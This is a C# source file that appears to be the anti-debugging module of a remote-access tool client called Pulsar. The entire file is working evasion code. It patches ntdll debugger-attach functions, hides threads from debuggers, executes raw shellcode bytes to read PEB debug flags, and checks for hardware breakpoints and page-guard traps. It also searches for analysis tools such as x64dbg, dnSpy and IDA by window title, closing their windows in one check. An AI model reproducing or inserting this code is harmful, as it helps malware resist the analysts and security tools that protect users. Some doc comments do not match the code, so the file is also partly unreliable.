552 lines
23 KiB
C#
552 lines
23 KiB
C#
using System;
|
|
using System.IO;
|
|
using System.Text;
|
|
using System.Threading;
|
|
using System.Diagnostics;
|
|
using System.Runtime.InteropServices;
|
|
using System.Reflection;
|
|
using Pulsar.Client.Anti.Helper;
|
|
using static Pulsar.Client.Anti.Helper.Structs;
|
|
|
|
namespace Pulsar.Client.Anti.Debugger
|
|
{
|
|
public class AntiDebug
|
|
{
|
|
#region WinApi
|
|
|
|
[DllImport("kernelbase.dll", SetLastError = true)]
|
|
private static extern bool SetHandleInformation(IntPtr hObject, uint dwMask, uint dwFlags);
|
|
|
|
[DllImport("ntdll.dll", SetLastError = true)]
|
|
private static extern bool NtClose(IntPtr Handle);
|
|
|
|
[DllImport("kernelbase.dll", SetLastError = true)]
|
|
private static extern IntPtr CreateMutexA(IntPtr lpMutexAttributes, bool bInitialOwner, string lpName);
|
|
|
|
[DllImport("kernelbase.dll", SetLastError = true)]
|
|
private static extern bool IsDebuggerPresent();
|
|
|
|
[DllImport("kernelbase.dll", SetLastError = true)]
|
|
private static extern IntPtr GetModuleHandle(string lib);
|
|
|
|
[DllImport("kernelbase.dll", SetLastError = true)]
|
|
private static extern IntPtr GetProcAddress(IntPtr ModuleHandle, string Function);
|
|
|
|
[DllImport("kernel32.dll", SetLastError = true)]
|
|
public static extern bool WriteProcessMemory(
|
|
IntPtr hProcess,
|
|
IntPtr lpBaseAddress,
|
|
byte[] lpBuffer,
|
|
int nSize,
|
|
out IntPtr lpNumberOfBytesWritten);
|
|
|
|
[DllImport("kernelbase.dll", SetLastError = true)]
|
|
private static extern bool ReadProcessMemory(SafeHandle hProcess, IntPtr BaseAddress, out byte[] Buffer, uint size, out int NumOfBytes);
|
|
|
|
[DllImport("ntdll.dll", SetLastError = true)]
|
|
private static extern uint NtSetInformationThread(IntPtr ThreadHandle, uint ThreadInformationClass, IntPtr ThreadInformation, int ThreadInformationLength);
|
|
|
|
[DllImport("ntdll.dll", SetLastError = true)]
|
|
private static extern uint NtOpenThread(out IntPtr hThread, uint dwDesiredAccess, ref OBJECT_ATTRIBUTES ObjectAttributes, ref CLIENT_ID ClientID);
|
|
|
|
[DllImport("kernelbase.dll", SetLastError = true)]
|
|
private static extern uint GetTickCount();
|
|
|
|
[DllImport("kernelbase.dll", SetLastError = true)]
|
|
private static extern IntPtr GetCurrentThread();
|
|
|
|
[DllImport("ntdll.dll", SetLastError = true)]
|
|
private static extern bool NtGetContextThread(IntPtr hThread, ref CONTEXT Context);
|
|
|
|
[DllImport("ntdll.dll", SetLastError = true)]
|
|
private static extern uint NtQueryInformationProcess(IntPtr hProcess, uint ProcessInfoClass, out uint ProcessInfo, uint nSize, uint ReturnLength);
|
|
|
|
[DllImport("ntdll.dll", SetLastError = true)]
|
|
private static extern uint NtQueryInformationProcess(IntPtr hProcess, uint ProcessInfoClass, out IntPtr ProcessInfo, uint nSize, uint ReturnLength);
|
|
|
|
[DllImport("ntdll.dll", SetLastError = true)]
|
|
private static extern uint NtQueryInformationProcess(IntPtr hProcess, uint ProcessInfoClass, ref PROCESS_BASIC_INFORMATION ProcessInfo, uint nSize, uint ReturnLength);
|
|
|
|
[DllImport("kernelbase.dll", SetLastError = true)]
|
|
private static extern int QueryFullProcessImageNameA(SafeHandle hProcess, uint Flags, byte[] lpExeName, Int32[] lpdwSize);
|
|
|
|
[DllImport("win32u.dll", SetLastError = true)]
|
|
private static extern IntPtr NtUserGetForegroundWindow();
|
|
|
|
[DllImport("user32.dll", SetLastError = true)]
|
|
private static extern int GetWindowTextLengthA(IntPtr HWND);
|
|
|
|
[DllImport("user32.dll", SetLastError = true)]
|
|
private static extern int GetWindowTextA(IntPtr HWND, StringBuilder WindowText, int nMaxCount);
|
|
|
|
[DllImport("ntdll.dll", SetLastError = true)]
|
|
private static extern uint NtSetDebugFilterState(ulong ComponentId, uint Level, bool State);
|
|
|
|
[DllImport("kernelbase.dll", SetLastError = true)]
|
|
private static extern void GetSystemInfo(out SYSTEM_INFO lpSystemInfo);
|
|
|
|
[DllImport("kernelbase.dll", SetLastError = true)]
|
|
private static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
|
|
|
|
[DllImport("ntdll.dll", SetLastError = true)]
|
|
private static extern IntPtr memset(IntPtr Dst, int val, uint size);
|
|
|
|
[DllImport("kernelbase.dll", SetLastError = true)]
|
|
private static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);
|
|
|
|
[DllImport("kernel32.dll")]
|
|
private static extern int GetLastError();
|
|
|
|
#endregion
|
|
|
|
/// <summary>
|
|
/// Attempts to close an invalid handle to detect debugger presence.
|
|
/// <param name="Syscall">specifies if we should use syscall to call the WinAPI functions.</param>
|
|
/// </summary>
|
|
/// <returns>Returns true if an exception is caught, indicating no debugger, otherwise false.</returns>
|
|
public static bool NtCloseAntiDebug_InvalidHandle()
|
|
{
|
|
try
|
|
{
|
|
int RandomInt = new Random().Next(int.MinValue, int.MaxValue);
|
|
IntPtr RandomIntPtr = new IntPtr(RandomInt);
|
|
NtClose(RandomIntPtr);
|
|
return false;
|
|
}
|
|
catch
|
|
{
|
|
return true;
|
|
}
|
|
}
|
|
|
|
/// <summary>
|
|
/// Attempts to close a protected handle to detect debugger presence.
|
|
/// <param name="Syscall">specifies if we should use syscall to call the WinAPI functions.</param>
|
|
/// </summary>
|
|
/// <returns>Returns true if an exception is caught, indicating no debugger, otherwise false.</returns>
|
|
public static bool NtCloseAntiDebug_ProtectedHandle()
|
|
{
|
|
string RandomMutexName = new Random().Next(int.MinValue, int.MaxValue).ToString();
|
|
IntPtr hMutex = CreateMutexA(IntPtr.Zero, false, RandomMutexName);
|
|
uint HANDLE_FLAG_PROTECT_FROM_CLOSE = 0x00000002;
|
|
SetHandleInformation(hMutex, HANDLE_FLAG_PROTECT_FROM_CLOSE, HANDLE_FLAG_PROTECT_FROM_CLOSE);
|
|
bool Result = false;
|
|
try
|
|
{
|
|
NtClose(hMutex);
|
|
Result = false;
|
|
}
|
|
catch
|
|
{
|
|
Result = true;
|
|
}
|
|
SetHandleInformation(hMutex, HANDLE_FLAG_PROTECT_FROM_CLOSE, 0);
|
|
NtClose(hMutex);
|
|
return Result;
|
|
}
|
|
|
|
/// <summary>
|
|
/// Checks if a debugger is attached to the process.
|
|
/// </summary>
|
|
/// <returns>Returns true if a debugger is attached, otherwise false.</returns>
|
|
public static bool DebuggerIsAttached()
|
|
{
|
|
return System.Diagnostics.Debugger.IsAttached;
|
|
}
|
|
|
|
/// <summary>
|
|
/// Checks if a debugger is present using the IsDebuggerPresent API.
|
|
/// </summary>
|
|
/// <returns>Returns true if a debugger is present, otherwise false.</returns>
|
|
public static bool IsDebuggerPresentCheck()
|
|
{
|
|
if (IsDebuggerPresent())
|
|
return true;
|
|
return false;
|
|
}
|
|
|
|
/// <summary>
|
|
/// Checks for the BeingDebugged flag directly.
|
|
/// </summary>
|
|
/// <returns>Returns true if a debugger is present, otherwise false.</returns>
|
|
public static bool BeingDebuggedCheck()
|
|
{
|
|
byte[] Code = new byte[30];
|
|
if (IntPtr.Size == 8)
|
|
Code = new byte[] { 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x0F, 0xB6, 0x40, 0x02, 0xC3 };
|
|
else
|
|
Code = new byte[] { 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x0F, 0xB6, 0x40, 0x02, 0xC3 };
|
|
IntPtr BeingDebugged = Utils.AllocateCode(Code);
|
|
if (BeingDebugged != IntPtr.Zero)
|
|
{
|
|
try
|
|
{
|
|
Delegates.GenericInt Executed = (Delegates.GenericInt)Marshal.GetDelegateForFunctionPointer(BeingDebugged, typeof(Delegates.GenericInt));
|
|
int Result = Executed();
|
|
Utils.FreeCode(BeingDebugged);
|
|
if (Result == 1)
|
|
return true;
|
|
}
|
|
catch
|
|
{
|
|
Utils.FreeCode(BeingDebugged);
|
|
}
|
|
}
|
|
return false;
|
|
}
|
|
|
|
/// <summary>
|
|
/// Checks for the NtGlobalFlag directly.
|
|
/// </summary>
|
|
/// <returns>Returns true if a debugger is present, otherwise false.</returns>
|
|
public static bool NtGlobalFlagCheck()
|
|
{
|
|
byte[] Code = new byte[30];
|
|
if (IntPtr.Size == 8)
|
|
Code = new byte[] { 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x80, 0xBC, 0x00, 0x00, 0x00, 0x48, 0x83, 0xE0, 0x70, 0x48, 0x83, 0xF8, 0x70, 0x74, 0x04, 0x48, 0x31, 0xC0, 0xC3, 0x48, 0xC7, 0xC0, 0x01, 0x00, 0x00, 0x00, 0xC3 };
|
|
else
|
|
Code = new byte[] { 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x68, 0x83, 0xE0, 0x70, 0x83, 0xF8, 0x70, 0x74, 0x03, 0x31, 0xC0, 0xC3, 0xB8, 0x01, 0x00, 0x00, 0x00, 0xC3 };
|
|
IntPtr NtGlobalFlag = Utils.AllocateCode(Code);
|
|
if (NtGlobalFlag != IntPtr.Zero)
|
|
{
|
|
try
|
|
{
|
|
Delegates.GenericInt Executed = (Delegates.GenericInt)Marshal.GetDelegateForFunctionPointer(NtGlobalFlag, typeof(Delegates.GenericInt));
|
|
int Result = Executed();
|
|
Utils.FreeCode(NtGlobalFlag);
|
|
if (Result == 1)
|
|
return true;
|
|
}
|
|
catch
|
|
{
|
|
Utils.FreeCode(NtGlobalFlag);
|
|
}
|
|
}
|
|
return false;
|
|
}
|
|
|
|
/// <summary>
|
|
/// Checks if the process has debug flags set using NtQueryInformationProcess
|
|
/// <param name="Syscall">specifies if we should use syscall to call the WinAPI functions.</param>
|
|
/// </summary>
|
|
/// <returns>Returns true if debug flags are set, otherwise false.</returns>
|
|
public static bool NtQueryInformationProcessCheck_ProcessDebugFlags()
|
|
{
|
|
uint ProcessDebugFlags = 0;
|
|
NtQueryInformationProcess(new IntPtr(-1), 0x1F, out ProcessDebugFlags, sizeof(uint), 0);
|
|
if (ProcessDebugFlags == 0)
|
|
return true;
|
|
return false;
|
|
}
|
|
|
|
/// <summary>
|
|
/// Checks if the process has a debug port using NtQueryInformationProcess.
|
|
/// <param name="Syscall">specifies if we should use syscalls to call the WinAPI functions.</param>.
|
|
/// </summary>
|
|
/// <returns>Returns true if a debug port is detected, otherwise false.</returns>
|
|
public static bool NtQueryInformationProcessCheck_ProcessDebugPort()
|
|
{
|
|
uint DebuggerPresent = 0;
|
|
uint Size = sizeof(uint);
|
|
if (Environment.Is64BitProcess)
|
|
Size = sizeof(uint) * 2;
|
|
NtQueryInformationProcess(new IntPtr(-1), 7, out DebuggerPresent, Size, 0);
|
|
if (DebuggerPresent != 0)
|
|
return true;
|
|
return false;
|
|
}
|
|
|
|
/// <summary>
|
|
/// Checks if the process has a debug object handle using NtQueryInformationProcess.
|
|
/// <param name="Syscall">specifies if we should use syscall to call the WinAPI functions.</param>
|
|
/// </summary>
|
|
/// <returns>Returns true if a debug object handle is detected, otherwise false.</returns>
|
|
public static bool NtQueryInformationProcessCheck_ProcessDebugObjectHandle()
|
|
{
|
|
IntPtr hDebugObject = IntPtr.Zero;
|
|
uint Size = sizeof(uint);
|
|
if (Environment.Is64BitProcess)
|
|
Size = sizeof(uint) * 2;
|
|
|
|
NtQueryInformationProcess(new IntPtr(-1), 0x1E, out hDebugObject, Size, 0);
|
|
if (hDebugObject != IntPtr.Zero)
|
|
return true;
|
|
return false;
|
|
}
|
|
|
|
/// <summary>
|
|
/// Patches the DbgUiRemoteBreakin and DbgBreakPoint functions to prevent debugger attachment.
|
|
/// </summary>
|
|
/// <returns>Returns "Success" if the patching was successful, otherwise "Failed".</returns>
|
|
public static string AntiDebugAttach()
|
|
{
|
|
IntPtr NtdllModule = Utils.LowLevelGetModuleHandle("ntdll.dll");
|
|
IntPtr DbgUiRemoteBreakinAddress = Utils.LowLevelGetProcAddress(NtdllModule, "DbgUiRemoteBreakin");
|
|
IntPtr DbgBreakPointAddress = Utils.LowLevelGetProcAddress(NtdllModule, "DbgBreakPoint");
|
|
byte[] Int3InvaildCode = { 0xCC };
|
|
byte[] RetCode = { 0xC3 };
|
|
bool Status = WriteProcessMemory(Process.GetCurrentProcess().Handle, DbgUiRemoteBreakinAddress, Int3InvaildCode, 1, out IntPtr test);
|
|
bool Status2 = WriteProcessMemory(Process.GetCurrentProcess().Handle, DbgBreakPointAddress, RetCode, 1, out IntPtr test2);
|
|
if (Status && Status2)
|
|
return "Success";
|
|
return "Failed";
|
|
}
|
|
|
|
/// <summary>
|
|
/// Checks for the presence of known debugger windows.
|
|
/// </summary>
|
|
/// <returns>Returns true if a known debugger window is detected, otherwise false.</returns>
|
|
public static bool FindWindowAntiDebug()
|
|
{
|
|
string[] BadWindowNames = { "x32dbg", "x64dbg", "windbg", "ollydbg", "dnspy", "immunity debugger", "hyperdbg", "cheat engine", "cheatengine", "ida" };
|
|
Process[] GetProcesses = Process.GetProcesses();
|
|
foreach (Process GetWindow in GetProcesses)
|
|
{
|
|
try
|
|
{
|
|
if (GetWindow.MainWindowHandle != IntPtr.Zero)
|
|
{
|
|
string title = GetWindow.MainWindowTitle;
|
|
if (string.IsNullOrEmpty(title)) continue;
|
|
|
|
foreach (string BadWindows in BadWindowNames)
|
|
{
|
|
if (Utils.Contains(title, BadWindows))
|
|
{
|
|
GetWindow.Close();
|
|
return true;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
continue;
|
|
}
|
|
}
|
|
return false;
|
|
}
|
|
|
|
/// <summary>
|
|
/// Checks if the foreground window belongs to a known debugger.
|
|
/// </summary>
|
|
/// <returns>Returns true if a known debugger window is detected, otherwise false.</returns>
|
|
public static bool NtUserGetForegroundWindowAntiDebug()
|
|
{
|
|
string[] BadWindowNames = { "x32dbg", "x64dbg", "windbg", "ollydbg", "dnspy", "immunity debugger", "hyperdbg", "debug", "debugger", "cheat engine", "cheatengine", "ida" };
|
|
IntPtr HWND = NtUserGetForegroundWindow();
|
|
if (HWND != IntPtr.Zero)
|
|
{
|
|
int WindowLength = GetWindowTextLengthA(HWND);
|
|
if (WindowLength != 0)
|
|
{
|
|
StringBuilder WindowName = new StringBuilder(WindowLength + 1);
|
|
GetWindowTextA(HWND, WindowName, WindowLength + 1);
|
|
foreach (string BadWindows in BadWindowNames)
|
|
{
|
|
if (Utils.Contains(WindowName.ToString().ToLower(), BadWindows))
|
|
{
|
|
return true;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
return false;
|
|
}
|
|
|
|
/// <summary>
|
|
/// Hides threads from the debugger by setting the NtSetInformationThread.
|
|
/// </summary>
|
|
/// <returns>Returns "Success" if the threads were hidden successfully, otherwise "Failed".</returns>
|
|
public static string HideThreadsAntiDebug()
|
|
{
|
|
try
|
|
{
|
|
bool AnyThreadFailed = false;
|
|
int PID = Process.GetCurrentProcess().Id;
|
|
ProcessThreadCollection GetCurrentProcessThreads = Process.GetCurrentProcess().Threads;
|
|
foreach (ProcessThread Threads in GetCurrentProcessThreads)
|
|
{
|
|
CLIENT_ID CI = new CLIENT_ID
|
|
{
|
|
UniqueProcess = (IntPtr)PID,
|
|
UniqueThread = (IntPtr)Threads.Id
|
|
};
|
|
|
|
OBJECT_ATTRIBUTES Attributes = new OBJECT_ATTRIBUTES
|
|
{
|
|
Length = Marshal.SizeOf(typeof(OBJECT_ATTRIBUTES)),
|
|
RootDirectory = IntPtr.Zero,
|
|
ObjectName = IntPtr.Zero,
|
|
Attributes = 0,
|
|
SecurityDescriptor = IntPtr.Zero,
|
|
SecurityQualityOfService = IntPtr.Zero
|
|
};
|
|
|
|
IntPtr hThread = IntPtr.Zero;
|
|
uint Status = NtOpenThread(out hThread, 0x0020, ref Attributes, ref CI);
|
|
if (Status == 0 || hThread != IntPtr.Zero)
|
|
{
|
|
uint Status2 = NtSetInformationThread(hThread, 0x11, IntPtr.Zero, 0);
|
|
NtClose(hThread);
|
|
if (Status2 != 0x00000000)
|
|
AnyThreadFailed = true;
|
|
}
|
|
}
|
|
if (!AnyThreadFailed)
|
|
return "Success";
|
|
return "Failed";
|
|
}
|
|
catch
|
|
{
|
|
return "Failed";
|
|
}
|
|
}
|
|
|
|
/// <summary>
|
|
/// Uses GetTickCount to detect debugger presence.
|
|
/// </summary>
|
|
/// <returns>Returns true if debugger presence is detected, otherwise false.</returns>
|
|
public static bool GetTickCountAntiDebug()
|
|
{
|
|
uint Start = GetTickCount();
|
|
Thread.Sleep(0x10);
|
|
return (GetTickCount() - Start) > 0x10;
|
|
}
|
|
|
|
/// <summary>
|
|
/// Triggers a debug break to detect debugger presence.
|
|
/// </summary>
|
|
/// <returns>Returns true if an exception is caught, indicating no debugger, otherwise false.</returns>
|
|
public static bool DebugBreakAntiDebug()
|
|
{
|
|
try
|
|
{
|
|
Utils.CallInternalCLRFunction("BreakInternal", typeof(Debug), BindingFlags.NonPublic | BindingFlags.Static, null, null);
|
|
return false;
|
|
}
|
|
catch
|
|
{
|
|
return true;
|
|
}
|
|
}
|
|
|
|
private static long CONTEXT_DEBUG_REGISTERS = 0x00010000L | 0x00000010L;
|
|
|
|
/// <summary>
|
|
/// Detects hardware breakpoints by checking debug registers.
|
|
/// </summary>
|
|
/// <returns>Returns true if hardware breakpoints are detected, otherwise false.</returns>
|
|
public static bool HardwareRegistersBreakpointsDetection()
|
|
{
|
|
CONTEXT Context = new CONTEXT();
|
|
Context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
|
|
int PID = Process.GetCurrentProcess().Id;
|
|
foreach (ProcessThread Threads in Process.GetCurrentProcess().Threads)
|
|
{
|
|
uint THREAD_QUERY_INFORMATION = 0x0040;
|
|
CLIENT_ID CI = new CLIENT_ID
|
|
{
|
|
UniqueProcess = (IntPtr)PID,
|
|
UniqueThread = (IntPtr)Threads.Id
|
|
};
|
|
|
|
OBJECT_ATTRIBUTES Attributes = new OBJECT_ATTRIBUTES
|
|
{
|
|
Length = Marshal.SizeOf(typeof(OBJECT_ATTRIBUTES)),
|
|
RootDirectory = IntPtr.Zero,
|
|
ObjectName = IntPtr.Zero,
|
|
Attributes = 0,
|
|
SecurityDescriptor = IntPtr.Zero,
|
|
SecurityQualityOfService = IntPtr.Zero
|
|
};
|
|
|
|
IntPtr hThread = IntPtr.Zero;
|
|
uint Status = NtOpenThread(out hThread, THREAD_QUERY_INFORMATION, ref Attributes, ref CI);
|
|
if (Status == 0 || hThread != IntPtr.Zero)
|
|
{
|
|
if (NtGetContextThread(hThread, ref Context))
|
|
{
|
|
if ((Context.Dr1 != 0x00 || Context.Dr2 != 0x00 || Context.Dr3 != 0x00 || Context.Dr6 != 0x00 || Context.Dr7 != 0x00))
|
|
{
|
|
NtClose(hThread);
|
|
return true;
|
|
}
|
|
}
|
|
NtClose(hThread);
|
|
}
|
|
}
|
|
return false;
|
|
}
|
|
|
|
/// <summary>
|
|
/// Cleans the specified path by removing null characters.
|
|
/// </summary>
|
|
/// <param name="Path">The path to clean.</param>
|
|
/// <returns>The cleaned path.</returns>
|
|
private static string CleanPath(string Path)
|
|
{
|
|
string CleanedPath = null;
|
|
foreach (char Null in Path)
|
|
{
|
|
if (Null != '\0')
|
|
{
|
|
CleanedPath += Null;
|
|
}
|
|
}
|
|
return CleanedPath;
|
|
}
|
|
|
|
/// <summary>
|
|
/// Uses NtSetDebugFilterState to prevent debugging.
|
|
/// </summary>
|
|
/// <returns>Returns true if the filter state was set successfully, otherwise false.</returns>
|
|
public static bool NtSetDebugFilterStateAntiDebug()
|
|
{
|
|
if (NtSetDebugFilterState(0, 0, true) != 0)
|
|
return false;
|
|
return true;
|
|
}
|
|
|
|
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
|
private delegate int ExecutionDelegate();
|
|
|
|
/// <summary>
|
|
/// Uses page guard to detect debugger presence by executing a function pointer.
|
|
/// </summary>
|
|
/// <returns>Returns true if debugger presence is detected, otherwise false.</returns>
|
|
public static bool PageGuardAntiDebug()
|
|
{
|
|
SYSTEM_INFO SysInfo = new SYSTEM_INFO();
|
|
GetSystemInfo(out SysInfo);
|
|
uint MEM_COMMIT = 0x00001000;
|
|
uint MEM_RESERVE = 0x00002000;
|
|
uint PAGE_EXECUTE_READWRITE = 0x40;
|
|
uint PAGE_GUARD = 0x100;
|
|
uint MEM_RELEASE = 0x00008000;
|
|
IntPtr AllocatedSpace = VirtualAlloc(IntPtr.Zero, SysInfo.PageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
|
if (AllocatedSpace != IntPtr.Zero)
|
|
{
|
|
memset(AllocatedSpace, 1, 0xC3);
|
|
uint OldProtect = 0;
|
|
if (Utils.ProtectMemory(AllocatedSpace, (UIntPtr)SysInfo.PageSize, PAGE_EXECUTE_READWRITE | PAGE_GUARD, out OldProtect))
|
|
{
|
|
try
|
|
{
|
|
ExecutionDelegate IsDebugged = Marshal.GetDelegateForFunctionPointer<ExecutionDelegate>(AllocatedSpace);
|
|
int Result = IsDebugged();
|
|
}
|
|
catch
|
|
{
|
|
VirtualFree(AllocatedSpace, SysInfo.PageSize, MEM_RELEASE);
|
|
return false;
|
|
}
|
|
VirtualFree(AllocatedSpace, SysInfo.PageSize, MEM_RELEASE);
|
|
return true;
|
|
}
|
|
}
|
|
return false;
|
|
}
|
|
}
|
|
}
|